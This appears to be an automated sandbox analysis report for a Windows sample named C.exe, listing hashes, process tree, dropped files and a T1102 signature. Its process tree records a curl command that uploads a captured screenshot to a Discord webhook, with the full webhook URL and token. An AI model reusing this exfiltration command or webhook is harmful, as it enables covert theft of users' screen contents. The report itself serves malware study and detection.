f494e0adb8f46c731220336a6053a2ac270e297cf33d9617d69b60d5e427e219

Analysis

max time kernel
149s
max time network
126s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
C.exe
Size 27KB
Sample260604-ddb5tsat7k
SHA256 f494e0adb8f46c731220336a6053a2ac270e297cf33d9617d69b60d5e427e219
MD5 0f5c646ede865952fd8b539cf787436d
SHA1 08fb873dfb6af6afc4017e9008da479a56c32b9e
SHA512 d10bdf83454a1d54b0221918befe78349a9003e83b90ba78422112933be427a6be4cb3e55efdac06e689edf7c88eaed773173e89e935a3735367a47f43cdd5e3
SSDEEP 384:AxysR3YvGQ1qyd0+fCQ523DTW4gCwL1Ob+PiGkRicVj1:AwtrKQczIv1ObJIcL
TLSH
T131C23A5966D8C62DD6BF4B7DB9F302100332A3065116EB86BDCC88AE1FA771449317EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	discord.com
3	discord.com

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
924	C.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	924	C.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 1020	924	C.exe	81
PID 1020 wrote to memory of 3580	1020	csc.exe	82
PID 924 wrote to memory of 3724	924	C.exe	83

C:\Users\Admin\AppData\Local\Temp\C.exe
"C:\Users\Admin\AppData\Local\Temp\C.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:924
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES44A5.tmp" "c:\Users\Admin\AppData\Local\Temp\cpcucwor\CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP"
    3⤵
    PID:3580
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -F "content=Screenshot from Admin on GGMLPSKM at 2026-06-03 22:53:18" -F file=@C:\Users\Admin\Pictures\Screenshots\screenshot_20260603_225318.png https://discord.com/api/webhooks/1511591327408586844/eUZq63EjuCEL_rVDhrSRt1s-qWrvvWjDu77j3GDo2ldXubngX8CaDfRPBeodJgD0igAu
  2⤵
  PID:3724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES44A5.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES44A5.tmp
Size 1KB
SHA256 ddd20fc15ac1926da815eb13f16f9c6c8d57cabb77ba492cb46475d8e349884d
MD5 b75018f7c168552faf6d8110b414a07a
SHA1 aafce58ac5385653413f17e19807de5dcad8cda7
SHA512 4d1b35e3675b8130f768f259c7fec732952746c3a4f3e215ab5ab600dfa8e213a71ce24e1e82aff1154b503b8f7343e0b232cc0d3c3624690b2be819bf5f4631
TLSH
T19C21CC0483E94B1EF077073169F6571F9A34FD64FF66975B854041281C61504EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hftp5xzm.vhi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hftp5xzm.vhi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cpcucwor.dll

Path C:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.dll
Size 3KB
SHA256 b08d9e9f82dd5d646fea749cded71c6b2424df9508aa047a02a85c144e2f1640
MD5 8556a4f3d3c1716b93683124bf2848d6
SHA1 19827ac4fbb9c4f43097682c5b7494b76214bf75
SHA512 1c4ed598faaa6c152b7cde8f9eb65b1683f8a4b07d15c4e5db01ce8c6bc91dd443dea77922e13fe18298757d81040609a04fa605a59485d702c15e2818f95fcb
TLSH
T10971DE6663A9865EE8BE0730EEF343162B74F8209A629B5F0DC40228AC217641F247B4
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot_20260603_225318.png

Path C:\Users\Admin\Pictures\Screenshots\screenshot_20260603_225318.png
Size 493KB
SHA256 82195fe80a5446aae1e09ef9e03e18307e7af927a6d0f5a386067e01f2119490
MD5 9af7a0beb94b5ba9b98ecad9331226d8
SHA1 360d024674fe3d6235414f5b44ecc60b8a27554a
SHA512 61dcbe398016773ee9a9340388cb209377f12cf961308ff022b7c27202beb35ef28c7d4fc8e06897172690e3d97d496b7bf3f03ed2e842ac8a35d8bac9a042b4
SSDEEP 12288:IVprfvllwtL+LRnnY1/8ivGwNS++qCnIkLid:IXrHbzLFF8rNcqGIkQ
TLSH
T1EAB42313D03FCCBDCC4DA1386AE6978B8C23A575D3F81939FFA09D5A95829D1B8242C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP
Size 652B
SHA256 5b98dbc2f9251cc2ae23f72cefed4efa40b0ad35ad3df102fcc5377d4713cc13
MD5 2f9949547ccb2bde67590cd7c6eb5cb4
SHA1 c90f44d215313f18f501828ffaebe858bb27b6ea
SHA512 d447f1a50f87df7c65adb9332b3eb585d52617dc635a639fb4b70ffa5306a670464fcc4424e12e66a265011ab8be6c7617f1661a8df5b43e1fc27ed21d637d9b
TLSH
T103F05E0963F8020EF1F74B30BDF6836399A9BC65EE3297ED1440032928749148D72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

cpcucwor.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.0.cs
Size 646B
SHA256 1a4fa0b5905944bae60bd38a7c13aad3c2cd535eb6e0853854771c443cc531f2
MD5 26cc10253bce4f4b0ec6424d81bf7419
SHA1 b34950fc2e5ebd2d0c4a306edf4f6277bcd762e7
SHA512 1db23d94461413563a9cf41f6786d0a4e02193706903d8dd0e69c6b165f96adb9811c1da80db747a7dad8fa1f026a38b86d4cf19bc6550e976f8a636f5eae927
TLSH
T119F0E9BD5A1B949A44B26733FEAE9C54DF3A12930312955A7C8D4124CF36C006379F78
MD5 SHA1 SHA512 TLSH

Submit Download

cpcucwor.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.cmdline
Size 423B
SHA256 e9e1457b1198100a4eadb877abb18286e8666ff93df664aa917d700a616049e5
MD5 2e4e102527102b75192444f82b56f326
SHA1 4666dfad43d419675439605fe79a05018fb4b6f0
SHA512 7cf7308fa8eee9a817d6452e48fe9898e044a661e408d1256fa6b9db3610e37b2afb2d22c195cfbca501b99293b8b1d87c38f6a3e4d7c286a5e125d9602d4a47
TLSH
T175E02B3F5356C77D11FD1007136AC5ED877217432985FF9494E1442DE52B00057D1B59
MD5 SHA1 SHA512 TLSH

Submit Download

memory/924-0-0x0000000000D10000-0x0000000000D1E000-memory.dmp

Download

memory/924-7-0x000000001C890000-0x000000001C8A0000-memory.dmp

Download

memory/924-8-0x0000000002E60000-0x0000000002E82000-memory.dmp

Download

memory/924-21-0x000000001BA00000-0x000000001BA08000-memory.dmp

Download

memory/924-22-0x000000001C890000-0x000000001C8A0000-memory.dmp

Download